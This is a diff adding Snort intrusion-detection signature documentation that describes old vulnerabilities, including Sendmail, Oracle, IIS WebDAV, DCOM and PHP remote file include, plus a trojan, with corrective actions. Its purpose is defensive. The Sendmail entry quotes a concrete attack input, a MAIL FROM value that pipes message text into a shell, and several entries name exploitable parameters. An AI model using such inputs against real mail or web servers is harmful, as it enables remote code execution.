+login by user "root" on the box.
+
+--
+Affected Systems:
+	Any UNIX based server running XDMCP.
+
+--
+Attack Scenarios:
+An attacker can use this to find out information about the machine and 
+then either launch a specific attack or connect to the X windows server 
+using XDMCP.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable XDMCP if not needed.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS476
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000737.txt
+++ snort-2.8.5.2/doc/signatures/100000737.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000737
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "EditHeader.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "EditHeader.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000834.txt
+++ snort-2.8.5.2/doc/signatures/100000834.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000834
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Lazarus" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "show" parameter in the "codes-english.php" script used by the "Lazarus" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Lazarus
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2722.txt
+++ snort-2.8.5.2/doc/signatures/2722.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2722
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_object_to_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/665.txt
+++ snort-2.8.5.2/doc/signatures/665.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+665
+
+--
+Summary:
+This event is generated when a remote user attempts to exploit a Sendmail vulnerability where a remote user can execute arbitrary code on an server running older versions of Sendmail. 
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, leading to remote root compromise. 
+
+--
+Detailed Information:
+Earlier versions of Sendmail contain a vulnerability in message header parsing. This vulnerability can be exploited by a remote user who sends an email message with a malformed MAIL FROM value to a vulnerable Sendmail implementation. The server then executes any arbitrary shell code included in the text of the email. 
+
+--
+Affected Systems:
+Systems running Sendmail versions lower than 8.6.10.
+
+--
+Attack Scenarios:
+An attacker sends an email using |usr/bin/tail|usr/bin/sh as the MAIL FROM value. Arbitrary shell code placed in the text of the email message is executed by the mail server with the security context of Sendmail.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Sendmail version 8.6.10 or higher.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0203
+
+Bugtraq
+http://www.securityfocus.com/bid/2308
+
+CERT
+http://www.cert.org/advisories/CA-1995-08.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2363.txt
+++ snort-2.8.5.2/doc/signatures/2363.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2363
+
+--
+Summary:
+This event is generated when an attempt is made to access a file that
+has a known vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made access the file
+default_header.php used in the PHP application Cyboards. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	Cyboards Cyboards PHP Lite 1.21
+	Cyboards Cyboards PHP Lite 1.25
+
+--
+Attack Scenarios:
+My manipulating certain variables contained in a PHP script an attacker
+may be able to supply code of their choosing and execute it on the
+server.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000335.txt
+++ snort-2.8.5.2/doc/signatures/100000335.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000335
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "CaLogic Calendars" application running on a webserver. Access to the file "srxclr.php" using a remote file being passed as the "CLPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "CLPath" parameter in the "srxclr.php" script used by the "CaLogic Calendars" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using CaLogic Calendars
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1318.txt
+++ snort-2.8.5.2/doc/signatures/1318.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1318
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "hardcore rape".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "hardcore rape".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/969.txt
+++ snort-2.8.5.2/doc/signatures/969.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+969
+
+--
+Summary:
+This event is generated when an attempt is made to request a file by the HTTP LOCK method.
+
+--
+Impact:
+Denial of service.  Repeated successful attempts can consume all CPU resources subsequently crashing the victim server. 
+
+--
+Detailed Information:
+The WebDAV (Web Distributed Authoring and Versioning) component of Microsoft's Internet Information Services (IIS) provides extensions to the HTTP protocol allowing users to edit and manage files on the remote web server.  A specially crafted request processed by WebDAV can consume CPU resources on the web server host causing it to crash.
+
+--
+Affected Systems:
+Windows 2000 systems running IIS 5.0.
+
+--
+Attack Scenarios:
+An attacker can craft an HTTP request processed by WebDAV that exhausts CPU resources and causes the system to crash. 
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using the IIS Lockdown Tool to disable WebDAV if it is not necessary.
+
+Download and install the appropriate patch mentioned in the Microsoft bulletin.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2736
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms01-016.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2308.txt
+++ snort-2.8.5.2/doc/signatures/2308.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2308
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Workstation service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to insufficient bounds checking in the Microsoft Windows Workstation
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, the DCE/RPC service allows for overly long strings to be
+sent to the Workstation logging function. This logging function does not
+check parameters sufficiently which results in the buffer overflow
+condition.
+
+--
+Affected Systems:
+	Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP, Microsoft Windows XP Service Pack 1
+	Microsoft Windows XP 64-Bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-28.html
+http://www.kb.cert.org/vuls/id/567620
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-049.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1269.txt
+++ snort-2.8.5.2/doc/signatures/1269.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+1269
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rexd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rexd is using.  Attackers can also learn what versions of the rexd protocol are accepted by rexd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rexd run.  The rexd RPC service allows remote program execution.  If weak authentication is used, an attacker user may run arbitrary commands as a user other than root.
+
+--
+Affected Systems:
+AIX 4.0
+Compaq Tru64 UNIX Any version
+HP-UX 10.20
+HP-UX 11
+Red Hat Linux 6.0
+Red Hat Linux 7.x
+Solaris 2.5.1
+Solaris 2.6
+Solaris 7
+Solaris 8
+Unix Any version
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rexd runs.  This may be a precursor to accessing rexd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rexd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rexd, not probes of the rexd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rexd service itself. An attacker may attempt to go directly to the rexd port without querying the portmapper service which, would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/37
+
+CERT
+http://www.cert.org/advisories/CA-1992-05.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS23
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1495.txt
+++ snort-2.8.5.2/doc/signatures/1495.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1495
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000645.txt
+++ snort-2.8.5.2/doc/signatures/100000645.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000645
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "user_delete.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "user_delete.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/614.txt
+++ snort-2.8.5.2/doc/signatures/614.txt
@@ -0,0 +1,94 @@
+Rule:
+
+--
+Sid:
+614
+
+--
+Summary:
+hack-a-tack is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data via download, upload of files, execution of files and reboot the targeted machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+The Trojan changes system registry settings to add the hack-a-tack server to programs normally started on boot. Due to the nature of this Trojan it is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	141	HackAttack 1.20 Connect
+	614	hack-a-tack attempt
+
+This Trojan is commonly used to install other Trojan programs.
+
+The server portion opens TCP ports 31785 and 31787 and UDP ports 31789 and 31791 by default to establish a connection between client and server. The ports may then be configured by the attacker to use something other than these defaults.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located at <drive>:\WINDOWS\Expl32.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Explorer32 ="<drive>:\windows\Expl32.exe"
+	Configuration Wizard = "<drive>:\windows=cfgwiz32.exe"
+
+Removal of this entry is required.
+
+Delete the file(s) <drive>:\WINDOWS\Expl32.exe and <drive>:\windows=cfgwiz32.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS314
+http://www.whitehats.com/info/IDS504
+
+Hackfix.org
+http://www.hackfix.org/miscfix/hackatack.shtml
+
+Commodon Communications
+http://www.commodon.com/threat/threat-hack.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/655.txt
+++ snort-2.8.5.2/doc/signatures/655.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+655
+
+--
+Summary:
+This event is generated when a buffer overflow is attempted on a Sendmail 8.6.9 server.
+
+--
+Impact:
+Attempted administrator access.  A successful buffer overflow attack can allow a remote attacker access to the Sendmail server at the privilege level of the user ID associated with Sendmail.
+
+--
+Detailed Information:
+A vulnerability exists in Sendmail version 8.6.9 that can be exploited by a buffer overflow attack.  This allows the attacker access to the Sendmail server at the privilege level of the user ID associated with Sendmail.  This attack can occur when a Sendmail server connects back to the ident service of the client requesting the Sendmail connection.  Because it is improperly validated by the Sendmail server, a malicious response can cause a buffer overflow. 
+
+--
+Affected Systems:
+Sendmail version 8.6.9.
+
+--
+Attack Scenarios:
+An attacker can request a connection to a Sendmail server, listen for the request for the ident service, and respond with a malicious payload to exploit the vulnerability.
+
+--
+Ease of Attack:
+Easy.  Exploit code is available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate patch or upgrade to a Sendmail version greater than 8.6.9.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Rule updated by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0204
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2234.txt
+++ snort-2.8.5.2/doc/signatures/2234.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2234
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in Trend Micro InterScan eManager.
+
+--
+Impact:
+Serious. Remote administrative access is possible.
+
+--
+Detailed Information:
+Versions of Trend Micro InterScan eManager suffer from a buffer overflow
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing which could lead to remote access to 
+the server.
+
+--
+Affected Systems:
+	Trend Micro InterScan eManager 3.51
+
+--
+Attack Scenarios:
+If the buffer overflow condition is met, the attacker can run code of 
+their choosing on the affected host.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the web interface
+
+Enable NTLM authentication for the administrative interface
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3327
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2562.txt
+++ snort-2.8.5.2/doc/signatures/2562.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2562
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the server component of McAfee's ePolicy Orchestrator (ePO).
+
+--
+Impact:
+A successful attack may permit an attacker to upload malicious code on
+the ePolicy Orchestrator server that may subsequently deliver the
+malicious code to ePolicy agents.
+
+--
+Detailed Information:
+There is a problem with access authentication in McAfee's ePolicy Orchestrator
+server.  This product is responsible for distributing packages and code to
+ePolicy agents, making this a potentially widespread and damaging attack in
+a network.  Because of a failure to authenticate credentials,
+an attacker can perform administrator functions, such as file uploads, by
+connecting the the ePO web server.  The malicious files may be pushed to
+the ePO agents by the ePO Orchestrator.
+
+--
+Affected Systems:
+McAfee ePolicy Orchestrator 2.5.0
+McAfee ePolicy Orchestrator 2.5.1 before Patch 14
+McAfee ePolicy Orchestrator 3.0 before Patch 4 for 2.0 SP2A
+
+--
+Attack Scenarios:
+An attacker can attempt to upload a malicious file using the web
+server of the ePO Orchestrator. The file may be subsequently
+pushed by the Orchestrator to ePO agents.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a valid administrator connects to the ePO server and uploads
+files, the alert will trigger.
+
+--
+False Negatives:
+If the ePO server listens on a port other than 81, no alert will
+trigger.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0038
+
+Bugtraq:
+http://www.securityfocus.com/bid/10200
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3175.txt
+++ snort-2.8.5.2/doc/signatures/3175.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3175
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000136.txt
+++ snort-2.8.5.2/doc/signatures/100000136.txt
@@ -0,0 +1,55 @@
+Rule: 
+
+--
+Sid: 
+100000136
+
+-- 
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the gnu_mailutils IMAP4 server.
+
+--
+Impact:
+Serious. Execution of arbitrary commands may be possible.
+
+--
+Detailed Information:
+
+A vulnerability exists in the way that the GNU Mailutils IMAP4 server handles 
+malformed IMAP commands containing format strings.  This may permit the 
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+GNU Mailutils 0.5, 0.6
+
+--
+Attack Scenarios:
+An attacker can send an IMAP command containing format strings, possibly 
+permitting the execution of arbitrary code.
+
+-- 
+Ease of Attack: 
+Simple, exploit scripts exist.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Upgrade to version 0.6.90 or higher.
+
+--
+Contributors: 
+Judy Novak <judy.novak@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/272.txt
+++ snort-2.8.5.2/doc/signatures/272.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+272
+
+--
+Summary:
+This event is generated when a remote attacker transmits fragmented IGMP packets with malformed headers to the internal network, indicating an IGMP Denial of Service (DoS) attack.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+If an IGMP packet with a malformed header is transmitted to an unpatched Microsoft Windows computer, the computer may crash when it attempts to process the packet.  
+
+--
+Affected Systems:
+Microsoft Windows 95
+Microsoft Windows 98
+Microsoft Windows 98 SE
+Microsoft Windows NT 4
+
+--
+Attack Scenarios:
+An attacker sends fragmented IGMP packets with malformed headers to a target computer. If the computer is running an unpatched version of Windows, it may crash.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
